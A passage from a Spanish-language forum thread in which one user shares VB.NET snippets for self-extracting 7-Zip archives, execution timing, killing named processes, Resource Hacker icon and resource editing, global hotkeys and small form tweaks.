  53.            Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance
  54.  
  55.            ' Add Progress Handler
  56.            ' AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress
  57.  
  58.            ' Removes the end slash ("\") if given for a directory
  59.            If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1)
  60.  
  61.            ' Generate the OutputFileName if any is given.
  62.            If OutputFileName Is Nothing Then
  63.                OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\")
  64.            Else
  65.                OutputFileName = OutputFileName & ".tmp"
  66.            End If
  67.  
  68.            ' Check if given argument is Dir or File ...then start the compression
  69.            If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir
  70.                If Not Password Is Nothing Then
  71.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password)
  72.                Else
  73.                    Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True)
  74.                End If
  75.            ElseIf IO.File.Exists(Input_DirOrFile) Then ' Is a File
  76.                If Not Password Is Nothing Then
  77.                    Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile)
  78.                Else
  79.                    Compressor.CompressFiles(OutputFileName, Input_DirOrFile)
  80.                End If
  81.            End If
  82.  
  83.            ' Create the SFX file
  84.            ' Create the SFX compressor
  85.            Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default)
  86.            ' Set SFX Module path
  87.            If SFX_Module = SevenZipSharp_SFX_Module.Normal Then
  88.                compressorSFX.ModuleFileName = ".\7z.sfx"
  89.            ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then
  90.                compressorSFX.ModuleFileName = ".\7zCon.sfx"
  91.            End If
  92.            ' Start the compression
  93.            ' Generate the OutputFileName if any is given.
  94.            Dim SFXOutputFileName As String
  95.            If OutputFileName.ToLower.EndsWith(".exe.tmp") Then
  96.                SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4)
  97.            Else
  98.                SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe"
  99.            End If
  100.  
  101.            compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName)
  102.            ' Delete the 7z tmp file
  103.            Try : IO.File.Delete(OutputFileName) : Catch : End Try
  104.  
  105.        Catch ex As Exception
  106.            'Return False ' File not compressed
  107.            Throw New Exception(ex.Message)
  108.        End Try
  109.  
  110.        Return True ' File compressed
  111.  
  112.    End Function
  113.  
  114.    ' Public Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs)
  115.    '     MsgBox("Percent compressed: " & e.PercentDone)
  116.    ' End Sub
  117.  
  118. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Mayo 2013, 18:26 pm
Un snippet para medir el tiempo transcurrido para un procedimiento o una función o cualquier cosa:

MEJORADO:

(http://img441.imageshack.us/img441/9899/captura1x.png)


Código
  1. #Region " Code Execution Time "
  2.  
  3.    ' [ Code Execution Time ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Execution_Start() : Threading.Thread.Sleep(500) : Execution_End()
  9.  
  10.    Dim Execution_Watcher As New Stopwatch
  11.  
  12.    Private Sub Execution_Start()
  13.        If Execution_Watcher.IsRunning Then Execution_Watcher.Restart()
  14.        Execution_Watcher.Start()
  15.    End Sub
  16.  
  17.    Private Sub Execution_End()
  18.        If Execution_Watcher.IsRunning Then
  19.            MessageBox.Show("Execution watcher finished:" & vbNewLine & vbNewLine & _
  20.                            "[H:M:S:MS]" & vbNewLine & _
  21.                            Execution_Watcher.Elapsed.Hours & _
  22.                            ":" & Execution_Watcher.Elapsed.Minutes & _
  23.                            ":" & Execution_Watcher.Elapsed.Seconds & _
  24.                            ":" & Execution_Watcher.Elapsed.Milliseconds & _
  25.                            vbNewLine & _
  26.                            vbNewLine & _
  27.                            "Total H: " & Execution_Watcher.Elapsed.TotalHours & vbNewLine & vbNewLine & _
  28.                            "Total M: " & Execution_Watcher.Elapsed.TotalMinutes & vbNewLine & vbNewLine & _
  29.                            "Total S: " & Execution_Watcher.Elapsed.TotalSeconds & vbNewLine & vbNewLine & _
  30.                            "Total MS: " & Execution_Watcher.ElapsedMilliseconds & vbNewLine, _
  31.                            "Code execution time", _
  32.                            MessageBoxButtons.OK, _
  33.                            MessageBoxIcon.Information, _
  34.                            MessageBoxDefaultButton.Button1)
  35.            Execution_Watcher.Reset()
  36.        Else
  37.            MessageBox.Show("Execution watcher never started.", _
  38.                            "Code execution time", _
  39.                            MessageBoxButtons.OK, _
  40.                            MessageBoxIcon.Error, _
  41.                            MessageBoxDefaultButton.Button1)
  42.        End If
  43.    End Sub
  44.  
  45. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Mayo 2013, 08:59 am
Para bloquear procesos.

Código
  1. ' [ Block Process Functions ]
  2. '
  3. ' // By Elektro H@cker
  4. '
  5. ' Examples :
  6. ' BlockProcess.Block("cmd") ' Blocks a process
  7. ' BlockProcess.Block("firefox.exe") ' Blocks a process
  8. ' BlockProcess.Unblock("cmd") ' Unblocks a process
  9. ' BlockProcess.Unblock("firefox.exe") ' Unblocks a process
  10. '
  11. ' BlockProcess.Unblock_All() ' Reset all values and stop timer
  12. ' BlockProcess.Monitor_Interval = 5 * 1000
  13. ' BlockProcess.Show_Message_On_Error = True
  14. ' BlockProcess.Show_Message_On_blocking = True
  15. ' BlockProcess.Message_Text = "I blocked your process: "
  16. ' BlockProcess.Message_Title = "Block Process .:: By Elektro H@cker ::."
  17.  
  18. #Region " Block Process Class "
  19.  
  20. Public Class BlockProcess
  21.  
  22.    Shared Blocked_APPS As New List(Of String) ' List of process names
  23.    Shared WithEvents ProcessMon_Timer As New Timer ' App Monitor timer
  24.    ''' <summary>
  25.    ''' Shows a MessageBox if error occurs when blocking the app [Default: False].
  26.    ''' </summary>
  27.    Public Shared Show_Message_On_Error As Boolean = False
  28.    ''' <summary>
  29.    ''' Shows a MessageBox when app is being blocked [Default: False].
  30.    ''' </summary>
  31.    Public Shared Show_Message_On_blocking As Boolean = False
  32.    ''' <summary>
  33.    ''' Set the MessageBox On blocking Text.
  34.    ''' </summary>
  35.    Public Shared Message_Text As String = "Process blocked: "
  36.    ''' <summary>
  37.    ''' Set the MessageBox On blocking Title.
  38.    ''' </summary>
  39.    Public Shared Message_Title As String = "Process Blocked"
  40.    ''' <summary>
  41.    ''' Set the App Monitor interval in milliseconds [Default: 200].
  42.    ''' </summary>
  43.    Public Shared Monitor_Interval As Int64 = 200
  44.  
  45.    ''' <summary>
  46.    ''' Add a process name to the process list.
  47.    ''' </summary>
  48.    Public Shared Sub Block(ByVal ProcessName As String)
  49.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  50.        Blocked_APPS.Add(ProcessName)
  51.        If Not ProcessMon_Timer.Enabled Then ProcessMon_Timer.Enabled = True
  52.    End Sub
  53.  
  54.    ''' <summary>
  55.    ''' Delete a process name from the process list.
  56.    ''' </summary>
  57.    Public Shared Sub Unblock(ByVal ProcessName As String)
  58.        If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4)
  59.        Blocked_APPS.Remove(ProcessName)
  60.    End Sub
  61.  
  62.    ''' <summary>
  63.    ''' Clear the process list and disables the App Monitor.
  64.    ''' </summary>
  65.    Public Shared Sub Unblock_All()
  66.        ProcessMon_Timer.Enabled = False
  67.        Blocked_APPS.Clear()
  68.    End Sub
  69.  
  70.    ' Timer Tick Event
  71.    Shared Sub ProcessMon_Timer_Tick(sender As Object, e As EventArgs) Handles ProcessMon_Timer.Tick
  72.  
  73.        For Each ProcessName In Blocked_APPS
  74.            Dim proc() As Process = Process.GetProcessesByName(ProcessName)
  75.            Try
  76.                For proc_num As Integer = 0 To proc.Length - 1
  77.                    proc(proc_num).Kill()
  78.                    If Show_Message_On_blocking Then
  79.                        MessageBox.Show(Message_Text & ProcessName & ".exe", Message_Title, MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1)
  80.                    End If
  81.                Next
  82.            Catch ex As Exception
  83.                If Show_Message_On_Error Then
  84.                    MsgBox(ex.Message) ' One of the processes can't be killed
  85.                End If
  86.            End Try
  87.        Next
  88.  
  89.        ' Set the Timer interval if is different
  90.        If Not sender.Interval = Monitor_Interval Then sender.Interval = Monitor_Interval
  91.  
  92.    End Sub
  93.  
  94. End Class
  95.  
  96. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 11:53 am
Me he currado esta class para manejar la aplicación ResHacker, para añadir/eliminar/reemplazar/Extraer iconos u otros tipos de recursos de un archivo:

Ejemplos de uso:

Código
  1.         ResHacker.All_Resources_Extract("C:\File.exe", ResHacker.ResourceType.ICON)
  2.         ResHacker.All_Resources_Extract("C:\File.dll", ResHacker.ResourceType.BITMAP, "C:\Temp\")
  3.         ResHacker.MainIcon_Delete("C:\Old.exe", "C:\New.exe")
  4.         ResHacker.MainIcon_Extract("C:\Program.exe", "C:\Icon.ico")
  5.         ResHacker.MainIcon_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico")
  6.         ResHacker.Resource_Add("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "Test", 1033)
  7.         ResHacker.Resource_Delete("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0)
  8.         ResHacker.Resource_Extract("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0)
  9.         ResHacker.Resource_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "MAINICON", 0)
  10.         ResHacker.Run_Script("C:\Reshacker.txt")
  11.         ResHacker.Check_Last_Error()
  12.  
Código
  1. #Region " ResHacker class "
  2.  
  3. Public Class ResHacker
  4.  
  5.    ''' <summary>
  6.    ''' Set the location of ResHacker executable [Default: ".\Reshacker.exe"].
  7.    ''' </summary>
  8.    Public Shared ResHacker_Location As String = ".\ResHacker.exe"
  9.    ''' <summary>
  10.    ''' Set the location of ResHacker log file [Default: ".\Reshacker.log"].
  11.    ''' </summary>
  12.    Public Shared ResHacker_Log_Location As String = ResHacker_Location.Substring(0, ResHacker_Location.Length - 4) & ".log"
  13.  
  14.    ' Most Known ResourceTypes
  15.    ''' <summary>
  16.    ''' The most known ResourceTypes.
  17.    ''' </summary>
  18.    Enum ResourceType
  19.        ASFW
  20.        AVI
  21.        BINARY
  22.        BINDATA
  23.        BITMAP
  24.        CURSOR
  25.        DIALOG
  26.        DXNAVBARSKINS
  27.        FILE
  28.        FONT
  29.        FTR
  30.        GIF
  31.        HTML
  32.        IBC
  33.        ICON
  34.        IMAGE
  35.        JAVACLASS
  36.        JPGTYPE
  37.        LIBRARY
  38.        MASK
  39.        MENU
  40.        MUI
  41.        ORDERSTREAM
  42.        PNG
  43.        RCDATA
  44.        REGINST
  45.        REGISTRY
  46.        STRINGTABLE
  47.        RT_RCDATA
  48.        SHADER
  49.        STYLE_XML
  50.        TYPELIB
  51.        UIFILE
  52.        VCLSTYLE
  53.        WAVE
  54.        WEVT_TEMPLATE
  55.        XML
  56.        XMLWRITE
  57.    End Enum
  58.  
  59.    ' ------------------
  60.    ' MainIcon functions
  61.    ' ------------------
  62.  
  63.    ''' <summary>
  64.    ''' Extract the main icon from file.
  65.    ''' </summary>
  66.    Public Shared Function MainIcon_Extract(ByVal InputFile As String, _
  67.                                         ByVal OutputIcon As String) As Boolean
  68.  
  69.        Try
  70.            Dim ResHacker As New Process()
  71.            Dim ResHacker_Info As New ProcessStartInfo()
  72.  
  73.            ResHacker_Info.FileName = ResHacker_Location
  74.            ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputIcon & """" & ", ICONGROUP, MAINICON, 0"
  75.            ResHacker_Info.UseShellExecute = False
  76.            ResHacker.StartInfo = ResHacker_Info
  77.            ResHacker.Start()
  78.            ResHacker.WaitForExit()
  79.  
  80.            Return Check_Last_Error()
  81.  
  82.        Catch ex As Exception
  83.            MsgBox(ex.Message)
  84.            Return False
  85.        End Try
  86.  
  87.    End Function
  88.  
  89.    ''' <summary>
  90.    ''' Delete the main icon of file.
  91.    ''' </summary>
  92.    Public Shared Function MainIcon_Delete(ByVal InputFile As String, _
  93.                                            ByVal OutputFile As String) As Boolean
  94.  
  95.        Try
  96.            Dim ResHacker As New Process()
  97.            Dim ResHacker_Info As New ProcessStartInfo()
  98.  
  99.            ResHacker_Info.FileName = ResHacker_Location
  100.            ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", ICONGROUP, MAINICON, 0"
  101.            ResHacker_Info.UseShellExecute = False
  102.            ResHacker.StartInfo = ResHacker_Info
  103.            ResHacker.Start()
  104.            ResHacker.WaitForExit()
  105.  
  106.            Return Check_Last_Error()
  107.  
  108.        Catch ex As Exception
  109.            MsgBox(ex.Message)
  110.            Return False
  111.        End Try
  112.  
  113.    End Function
  114.  
  115.    ''' <summary>
  116.    ''' Replace the main icon of file.
  117.    ''' </summary>
  118.    Public Shared Function MainIcon_Replace(ByVal InputFile As String, _
  119.                                        ByVal OutputFile As String, _
  120.                                        ByVal IconFile As String) As Boolean
  121.  
  122.        Try
  123.            Dim ResHacker As New Process()
  124.            Dim ResHacker_Info As New ProcessStartInfo()
  125.  
  126.            ResHacker_Info.FileName = ResHacker_Location
  127.            ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & IconFile & """" & ", ICONGROUP, MAINICON, 0"
  128.            ResHacker_Info.UseShellExecute = False
  129.            ResHacker.StartInfo = ResHacker_Info
  130.            ResHacker.Start()
  131.            ResHacker.WaitForExit()
  132.  
  133.            Return Check_Last_Error()
  134.  
  135.        Catch ex As Exception
  136.            MsgBox(ex.Message)
  137.            Return False
  138.        End Try
  139.  
  140.    End Function
  141.  
  142.    ' ----------------------
  143.    ' ResourceType functions
  144.    ' ----------------------
  145.  
  146.    ''' <summary>
  147.    ''' Add a resource to file.
  148.    ''' </summary>
  149.    Public Shared Function Resource_Add(ByVal InputFile As String, _
  150.                                        ByVal OutputFile As String, _
  151.                                        ByVal ResourceFile As String, _
  152.                                        ByVal ResourceType As ResourceType, _
  153.                                        ByVal ResourceName As String, _
  154.                                        Optional ByVal LanguageID As Int32 = 0) As Boolean
  155.  
  156.        Try
  157.            Dim ResHacker As New Process()
  158.            Dim ResHacker_Info As New ProcessStartInfo()
  159.  
  160.            ResHacker_Info.FileName = ResHacker_Location
  161.            ResHacker_Info.Arguments = "-add " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
  162.            ResHacker_Info.UseShellExecute = False
  163.            ResHacker.StartInfo = ResHacker_Info
  164.            ResHacker.Start()
  165.            ResHacker.WaitForExit()
  166.  
  167.            Return Check_Last_Error()
  168.  
  169.        Catch ex As Exception
  170.            MsgBox(ex.Message)
  171.            Return False
  172.        End Try
  173.  
  174.    End Function
  175.  
  176.    ''' <summary>
  177.    ''' Delete a resource from file.
  178.    ''' </summary>
  179.    Public Shared Function Resource_Delete(ByVal InputFile As String, _
  180.                                    ByVal OutputFile As String, _
  181.                                    ByVal ResourceType As ResourceType, _
  182.                                    ByVal ResourceName As String, _
  183.                                    Optional ByVal LanguageID As Int32 = 0) As Boolean
  184.  
  185.        Try
  186.            Dim ResHacker As New Process()
  187.            Dim ResHacker_Info As New ProcessStartInfo()
  188.  
  189.            ResHacker_Info.FileName = ResHacker_Location
  190.            ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
  191.            ResHacker_Info.UseShellExecute = False
  192.            ResHacker.StartInfo = ResHacker_Info
  193.            ResHacker.Start()
  194.            ResHacker.WaitForExit()
  195.  
  196.            Return Check_Last_Error()
  197.  
  198.        Catch ex As Exception
  199.            MsgBox(ex.Message)
  200.            Return False
  201.        End Try
  202.  
  203.    End Function
  204.  
  205.    ''' <summary>
  206.    ''' Extract a resource from file.
  207.    ''' </summary>
  208.    Public Shared Function Resource_Extract(ByVal InputFile As String, _
  209.                                  ByVal OutputFile As String, _
  210.                                  ByVal ResourceType As ResourceType, _
  211.                                  ByVal ResourceName As String, _
  212.                                  Optional ByVal LanguageID As Int32 = 0) As Boolean
  213.  
  214.        Try
  215.            Dim ResHacker As New Process()
  216.            Dim ResHacker_Info As New ProcessStartInfo()
  217.  
  218.            ResHacker_Info.FileName = ResHacker_Location
  219.            ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
  220.            ResHacker_Info.UseShellExecute = False
  221.            ResHacker.StartInfo = ResHacker_Info
  222.            ResHacker.Start()
  223.            ResHacker.WaitForExit()
  224.  
  225.            Return Check_Last_Error()
  226.  
  227.        Catch ex As Exception
  228.            MsgBox(ex.Message)
  229.            Return False
  230.        End Try
  231.  
  232.    End Function
  233.  
  234.    ''' <summary>
  235.    ''' Replace a resource from file.
  236.    ''' </summary>
  237.    Public Shared Function Resource_Replace(ByVal InputFile As String, _
  238.                              ByVal OutputFile As String, _
  239.                              ByVal ResourceFile As String, _
  240.                              ByVal ResourceType As ResourceType, _
  241.                              ByVal ResourceName As String, _
  242.                              Optional ByVal LanguageID As Int32 = 0) As Boolean
  243.  
  244.        Try
  245.            Dim ResHacker As New Process()
  246.            Dim ResHacker_Info As New ProcessStartInfo()
  247.  
  248.            ResHacker_Info.FileName = ResHacker_Location
  249.            ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID
  250.            ResHacker_Info.UseShellExecute = False
  251.            ResHacker.StartInfo = ResHacker_Info
  252.            ResHacker.Start()
  253.            ResHacker.WaitForExit()
  254.  
  255.            Return Check_Last_Error()
  256.  
  257.        Catch ex As Exception
  258.            MsgBox(ex.Message)
  259.            Return False
  260.        End Try
  261.  
  262.    End Function
  263.  
  264.    ' ----------------------
  265.    ' All resources function
  266.    ' ----------------------
  267.  
  268.    ''' <summary>
  269.    ''' Extract all kind of resource from file.
  270.    ''' </summary>
  271.    Public Shared Function All_Resources_Extract(ByVal InputFile As String, _
  272.                                                 ByVal ResourceType As ResourceType, _
  273.                             Optional ByVal OutputDir As String = Nothing) As Boolean
  274.  
  275.        If OutputDir Is Nothing Then
  276.            OutputDir = InputFile.Substring(0, InputFile.LastIndexOf("\")) _
  277.                & "\" _
  278.                & InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) _
  279.                & ".rc"
  280.        Else
  281.            If OutputDir.EndsWith("\") Then OutputDir = OutputDir.Substring(0, OutputDir.Length - 1)
  282.            OutputDir += "\" & InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) & ".rc"
  283.        End If
  284.  
  285.        Try
  286.            Dim ResHacker As New Process()
  287.            Dim ResHacker_Info As New ProcessStartInfo()
  288.  
  289.            ResHacker_Info.FileName = ResHacker_Location
  290.            ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputDir & """" & ", " & ResourceType.ToString & ",,"
  291.            ResHacker_Info.UseShellExecute = False
  292.            ResHacker.StartInfo = ResHacker_Info
  293.            ResHacker.Start()
  294.            ResHacker.WaitForExit()
  295.  
  296.            Return Check_Last_Error()
  297.  
  298.        Catch ex As Exception
  299.            MsgBox(ex.Message)
  300.            Return False
  301.        End Try
  302.  
  303.    End Function
  304.  
  305.    ' ---------------
  306.    ' Script function
  307.    ' ---------------
  308.  
  309.    ''' <summary>
  310.    ''' Run a ResHacker script file.
  311.    ''' </summary>
  312.    Public Shared Function Run_Script(ByVal ScriptFile As String) As Boolean
  313.  
  314.        Try
  315.            Dim ResHacker As New Process()
  316.            Dim ResHacker_Info As New ProcessStartInfo()
  317.  
  318.            ResHacker_Info.FileName = ResHacker_Location
  319.            ResHacker_Info.Arguments = "-script " & """" & ScriptFile & """"
  320.            ResHacker_Info.UseShellExecute = False
  321.            ResHacker.StartInfo = ResHacker_Info
  322.            ResHacker.Start()
  323.            ResHacker.WaitForExit()
  324.  
  325.            Return Check_Last_Error()
  326.  
  327.        Catch ex As Exception
  328.            MsgBox(ex.Message)
  329.            Return False
  330.        End Try
  331.  
  332.    End Function
  333.  
  334.    ' -------------------------
  335.    ' Check Last Error function
  336.    ' -------------------------
  337.  
  338.    ''' <summary>
  339.    ''' Return the last operation error if any [False = ERROR, True = Ok].
  340.    ''' </summary>
  341.    Shared Function Check_Last_Error()
  342.        Dim Line As String = Nothing
  343.        Dim Text As IO.StreamReader = IO.File.OpenText(ResHacker_Log_Location)
  344.  
  345.        Do Until Text.EndOfStream
  346.            Line = Text.ReadLine()
  347.            If Line.ToString.StartsWith("Error: ") Then
  348.                MsgBox(Line)
  349.                Return False
  350.            End If
  351.        Loop
  352.  
  353.        Text.Close()
  354.        Text.Dispose()
  355.        Return True
  356.  
  357.    End Function
  358.  
  359. End Class
  360.  
  361. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:46 pm
Crear hotkeys globales fuera del form, usando ComboBoxes.

Solo hay que añadir dos comboboxes al form (los valores se añaden al crear la ventana):

(http://img812.imageshack.us/img812/460/prtscrcapturedz.jpg)

(http://img843.imageshack.us/img843/4769/prtscrcapture2cb.jpg)


Código
  1. #Region " Set Global Hotkeys using ComboBoxes "
  2.  
  3.    ' [ Set Global Hotkeys using ComboBoxes Example ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Instructions :
  8.    ' Instructions:
  9.    ' 1. Add the "GlobalHotkeys Class" Class to the project.
  10.    ' 2. Add a ComboBox in the Form with the name "ComboBox_SpecialKeys", with DropDownStyle property.
  11.    ' 3. Add a ComboBox in the Form with the name "ComboBox_NormalKeys", with DropDownStyle property.
  12.  
  13.    Dim SpecialKeys As String() = {"NONE", "ALT", "CTRL", "SHIFT"}
  14.  
  15.    Dim NormalKeys As String() = { _
  16.    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", _
  17.    "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", _
  18.    "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", _
  19.    "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"}
  20.  
  21.    Dim SpecialKey As String = SpecialKeys(0)
  22.    Dim NormalKey As System.Windows.Forms.Keys
  23.    Dim WithEvents HotKey_Global As Shortcut
  24.  
  25.    ' Form load
  26.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  27.  
  28.        For Each Item In SpecialKeys
  29.            ComboBox_SpecialKeys.Items.Add(Item)
  30.            Application.DoEvents()
  31.        Next
  32.  
  33.        For Each Item In NormalKeys
  34.            ComboBox_NormalKeys.Items.Add(Item)
  35.            Application.DoEvents()
  36.        Next
  37.  
  38.        ComboBox_SpecialKeys.SelectedItem = SpecialKeys(0)
  39.        ' ComboBox_NormalKeys.SelectedItem = NormalKeys(0)
  40.  
  41.    End Sub
  42.  
  43.    ' ComboBoxes SelectedKeys
  44.    Private Sub ComboBoxes_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _
  45.        ComboBox_SpecialKeys.SelectedIndexChanged, _
  46.        ComboBox_NormalKeys.SelectedIndexChanged
  47.  
  48.        SpecialKey = ComboBox_SpecialKeys.Text
  49.  
  50.        Try : Select Case ComboBox_SpecialKeys.Text
  51.                Case "ALT"
  52.                    NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
  53.                    HotKey_Global = Shortcut.Create(Shortcut.Modifier.Alt, NormalKey)
  54.                Case "CTRL"
  55.                    NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
  56.                    HotKey_Global = Shortcut.Create(Shortcut.Modifier.Ctrl, NormalKey)
  57.                Case "SHIFT"
  58.                    NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
  59.                    HotKey_Global = Shortcut.Create(Shortcut.Modifier.Shift, NormalKey)
  60.                Case "NONE"
  61.                    Dim Number_RegEx As New System.Text.RegularExpressions.Regex("\D")
  62.                    If Number_RegEx.IsMatch(ComboBox_NormalKeys.Text) Then
  63.                        NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True)
  64.                    Else
  65.                        NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), (ComboBox_NormalKeys.Text + 96), False)
  66.                    End If
  67.                    HotKey_Global = Shortcut.Create(Shortcut.Modifier.None, NormalKey)
  68.  
  69.            End Select
  70.        Catch : End Try
  71.  
  72.    End Sub
  73.  
  74.    ' Hotkey is pressed
  75.    Private Sub HotKey_Press(ByVal s As Object, ByVal e As Shortcut.HotKeyEventArgs) Handles HotKey_Global.Press
  76.        MsgBox("hotkey clicked: " & SpecialKey & "+" & NormalKey.ToString)
  77.    End Sub
  78.  
  79. #End Region
  80.  
  81. #Region " GlobalHotkeys Class "
  82.  
  83.    Class Shortcut
  84.  
  85.        Inherits NativeWindow
  86.        Implements IDisposable
  87.  
  88.        Protected Declare Function UnregisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer) As Boolean
  89.        Protected Declare Function RegisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer, ByVal modifier As Integer, ByVal vk As Integer) As Boolean
  90.  
  91.        Event Press(ByVal sender As Object, ByVal e As HotKeyEventArgs)
  92.        Protected EventArgs As HotKeyEventArgs, ID As Integer
  93.  
  94.        Enum Modifier As Integer
  95.            None = 0
  96.            Alt = 1
  97.            Ctrl = 2
  98.            Shift = 4
  99.        End Enum
  100.  
  101.        Class HotKeyEventArgs
  102.  
  103.            Inherits EventArgs
  104.            Property Modifier As Shortcut.Modifier
  105.            Property Key As Keys
  106.  
  107.        End Class
  108.  
  109.        Class RegisteredException
  110.  
  111.            Inherits Exception
  112.            Protected Const s As String = "Shortcut combination is in use."
  113.  
  114.            Sub New()
  115.                MyBase.New(s)
  116.            End Sub
  117.  
  118.        End Class
  119.  
  120.        Private disposed As Boolean
  121.  
  122.        Protected Overridable Sub Dispose(ByVal disposing As Boolean)
  123.            If Not disposed Then UnregisterHotKey(Handle, ID)
  124.            disposed = True
  125.        End Sub
  126.  
  127.        Protected Overrides Sub Finalize()
  128.            Dispose(False)
  129.            MyBase.Finalize()
  130.        End Sub
  131.  
  132.        Sub Dispose() Implements IDisposable.Dispose
  133.            Dispose(True)
  134.            GC.SuppressFinalize(Me)
  135.        End Sub
  136.  
  137.        <DebuggerStepperBoundary()>
  138.        Sub New(ByVal modifier As Modifier, ByVal key As Keys)
  139.            CreateHandle(New CreateParams)
  140.            ID = GetHashCode()
  141.            EventArgs = New HotKeyEventArgs With {.Key = key, .Modifier = modifier}
  142.            If Not RegisterHotKey(Handle, ID, modifier, key) Then Throw New RegisteredException
  143.        End Sub
  144.  
  145.        Shared Function Create(ByVal modifier As Modifier, ByVal key As Keys) As Shortcut
  146.            Return New Shortcut(modifier, key)
  147.        End Function
  148.  
  149.        Protected Sub New()
  150.        End Sub
  151.  
  152.        Protected Overrides Sub WndProc(ByRef m As Message)
  153.            Select Case m.Msg
  154.                Case 786
  155.                    RaiseEvent Press(Me, EventArgs)
  156.                Case Else
  157.                    MyBase.WndProc(m)
  158.            End Select
  159.        End Sub
  160.  
  161.    End Class
  162.  
  163. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:50 pm
Detectar que botón del mouse se ha pinchado:

Código
  1.    Private Sub Form1_MouseClick(sender As Object, e As MouseEventArgs) Handles MyBase.MouseClick
  2.        Select Case e.Button().ToString.ToLower
  3.            Case "left" ' Left mouse clicked
  4.                MsgBox("Left mouse clicked")
  5.            Case "right" ' Right mouse clicked
  6.                MsgBox("Right mouse clicked")
  7.            Case "middle" ' Middle mouse clicked
  8.                MsgBox("Middle mouse clicked")
  9.        End Select
  10.    End Sub





Modificar la opacidad del Form cuando se arrastra desde la barra de título:

Código
  1.    ' Set opacity when moving the form from the TitleBar
  2.    Protected Overrides Sub DefWndProc(ByRef message As System.Windows.Forms.Message)
  3.        ' -- Trap left mouse click down on titlebar
  4.        If CLng(message.Msg) = &HA1 Then
  5.            If Me.Opacity <> 0.5 Then Me.Opacity = 0.5
  6.            ' -- Trap left mouse click up on titlebar
  7.        ElseIf CLng(message.Msg) = &HA0 Then
  8.            If Me.Opacity <> 1.0 Then Me.Opacity = 1.0
  9.        End If
  10.        MyBase.DefWndProc(message)
  11.    End Sub




Convertir "&H" a entero:
Código
  1. #Region " Win32Hex To Int "
  2.  
  3.    ' [ Win32Hex To Int Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples:
